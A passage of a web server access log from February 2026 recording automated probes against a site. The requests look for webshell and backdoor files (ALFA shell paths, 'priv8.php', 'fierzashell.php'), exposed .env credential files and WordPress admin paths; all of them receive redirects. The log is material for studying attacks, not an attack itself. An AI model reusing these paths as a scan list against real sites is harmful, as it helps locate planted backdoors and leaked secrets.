"GET /v9.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:05:00 +0300] "GET /106.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:05:03 +0300] "GET /dunk.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:05:07 +0300] "GET /ujuqsqhd.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:05:09 +0300] "GET /geju.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:05:12 +0300] "GET /mtmem.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:05:15 +0300] "GET /reversely.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:05:18 +0300] "GET /lrzkh.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:05:22 +0300] "GET /iopra.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:05:23 +0300] "GET /baidu.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:02:19 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:02:22 +0300] "GET /ws71.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:02:25 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:02:29 +0300] "GET /wp-Blogs.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:02:31 +0300] "GET /001.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:02:33 +0300] "GET /wp-p2r3q9c8k4.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:02:35 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:02:38 +0300] "GET /xxw.php HTTP/1.1" 301 795 "-" "-" 43.138.68.113 - - [16/Feb/2026:04:47:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.194.217.214 - - [16/Feb/2026:05:02:43 +0300] "GET /bureaucrats.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:02:46 +0300] "GET /yrmeu.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:02:49 +0300] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:02:53 +0300] "GET /ai.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:02:55 +0300] "GET /inclusively.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:02:58 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:00 +0300] "GET /invisi.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:04 +0300] "GET /xr.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:07 +0300] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:11 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:14 +0300] "GET /bolaf.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:03:18 +0300] "GET /knightly.php HTTP/1.1" 301 795 "-" "-" 4.194.217.214 - - [16/Feb/2026:05:02:13 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 45.194.92.21 - - [16/Feb/2026:06:20:34 +0300] "GET /admin/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 43.130.139.136 - - [16/Feb/2026:09:02:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.32.245 - - [16/Feb/2026:07:59:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.61.130.62 - - [16/Feb/2026:10:11:19 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:11:19 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:11:19 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:13:10 +0300] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:14:59 +0300] "POST /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:13:10 +0300] "POST /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:14:59 +0300] "GET /wp-content/backup/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:14:59 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 207.180.241.56 - - [16/Feb/2026:10:16:29 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:16:30 +0300] "GET /about.php?key=EnigmaCyberSecurity HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:16:31 +0300] "GET /wp-content/uploads/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:23:48 +0300] "POST /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:24:57 +0300] "POST /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:27:45 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 74.7.244.54 - - [16/Feb/2026:10:32:51 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 145.220.91.19 - - [16/Feb/2026:11:04:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 45.61.130.62 - - [16/Feb/2026:10:18:03 +0300] "GET /wp-content/plugins/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:20:16 +0300] "GET /userfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:22:37 +0300] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:18:01 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:21:26 +0300] "GET /wp-content/plugins/userfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:22:43 +0300] "GET /wp-content/themes/userfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:23:50 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:30:23 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 36.41.75.167 - - [16/Feb/2026:10:54:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.61.130.62 - - [16/Feb/2026:10:19:11 +0300] "POST /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:20:15 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:21:23 +0300] "GET /about.php?key=EnigmaCyberSecurity HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:26:12 +0300] "GET /about.php?key=EnigmaCyberSecurity HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:18:03 +0300] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:20:15 +0300] "POST /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:32:59 +0300] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:26:26 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:35:19 +0300] "GET /wp-content/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:22:37 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 74.7.242.11 - - [16/Feb/2026:10:33:17 +0300] "GET / HTTP/1.1" 301 795 "http://procycling.org" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 45.61.130.62 - - [16/Feb/2026:10:19:10 +0300] "GET /wp-content/themes/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:24:54 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 45.61.130.62 - - [16/Feb/2026:10:25:03 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Mobile Safari/537.36" 167.172.144.163 - - [16/Feb/2026:13:49:51 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" 173.90.232.150 - - [16/Feb/2026:13:49:18 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 138.197.79.92 - - [16/Feb/2026:13:59:06 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.166.250.187 - - [16/Feb/2026:13:59:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.82.252 - - [16/Feb/2026:14:54:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 173.252.70.51 - - [16/Feb/2026:14:53:07 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 20.110.187.193 - - [16/Feb/2026:16:47:51 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.89.56.154 - - [16/Feb/2026:17:50:09 +0300] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:50:59 +0300] "GET /dqbayyrz.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:51:14 +0300] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:52:23 +0300] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:52:58 +0300] "GET /thumbnail.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:37 +0300] "GET /luuf.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:39 +0300] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:42 +0300] "GET /class-wp-ajax-response.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:45 +0300] "GET /test_info.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:49 +0300] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:52 +0300] "GET /pinuseren.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:55 +0300] "GET /users.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:58 +0300] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:54:02 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:55:00 +0300] "GET /me.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:55:33 +0300] "GET /yut.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:55:40 +0300] "GET /nowpf.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:55:44 +0300] "GET /nywmftcj.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:55:47 +0300] "GET /minik.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:20 +0300] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:25 +0300] "GET /down.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:28 +0300] "GET /2index.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:33 +0300] "GET /ms-upgrade-network.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:37 +0300] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:37 +0300] "GET /wficyctk.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:41 +0300] "GET /mirasvit_adminer-4.2.3.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:45 +0300] "GET /qaivbilq.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:49 +0300] "GET /taf.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:59:53 +0300] "GET /OA1sSIWxZLY.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:18:00:03 +0300] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:46:58 +0300] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:01 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:40 +0300] "GET /inf.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:44 +0300] "GET /optimizer.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:48 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:52 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:48:24 +0300] "GET /dfgev2ig.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:50:20 +0300] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:51:08 +0300] "GET /j.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:51:22 +0300] "GET /wp-log1n.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:51:26 +0300] "GET /wp-content/themes/oceanwp-child/functions.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:51:30 +0300] "GET /admin-heade.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:51:33 +0300] "GET /Password.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:51:36 +0300] "GET /fierzashell.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:08 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:11 +0300] "GET /qfunctions.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:53:14 +0300] "GET /media-upload.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:54:17 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:54:20 +0300] "GET /old.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:54:24 +0300] "GET /issue.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:54:27 +0300] "GET /Xsam_Xadoo_00Bot.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:54:31 +0300] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:54:35 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:54:35 +0300] "GET /1post.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:54:38 +0300] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:54:44 +0300] "GET /delete3.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:57:18 +0300] "GET /adminer-4.3.0.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:57:25 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:58:06 +0300] "GET /cgi-bin/upfile.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:58:09 +0300] "GET /sidebarg.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:58:12 +0300] "GET /crack_self_restore.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:46:08 +0300] "GET /owlmailer.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:46:22 +0300] "GET /api.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:46:25 +0300] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:46:48 +0300] "GET /wp-admin/css/colors/sHQwacY.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:07 +0300] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:10 +0300] "GET /engine.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:13 +0300] "GET /data.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:16 +0300] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:20 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:23 +0300] "GET /disagraeosc.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:27 +0300] "GET /uuj9wgn1.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:30 +0300] "GET /config_load.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:47:33 +0300] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:51:47 +0300] "GET /class-db.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:51:50 +0300] "GET /excel.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:52:30 +0300] "GET /phpinfo3.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:52:42 +0300] "GET /kill.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:55:24 +0300] "GET /5173e.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:55:27 +0300] "GET /malware.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:56:07 +0300] "GET /AE5VAL.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:56:55 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:56:59 +0300] "GET /orqdvcag.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:57:03 +0300] "GET /zjifnzog.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:57:07 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:57:47 +0300] "GET /lalala.php HTTP/1.1" 301 795 "-" "-" 20.110.187.193 - - [16/Feb/2026:16:47:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.110.187.193 - - [16/Feb/2026:16:47:51 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.110.187.193 - - [16/Feb/2026:16:47:51 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.110.187.193 - - [16/Feb/2026:16:47:57 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.89.56.154 - - [16/Feb/2026:17:46:35 +0300] "GET /styles.php HTTP/1.1" 301 795 "-" "-" 20.89.56.154 - - [16/Feb/2026:17:46:37 +0300] "GET /infophp.php 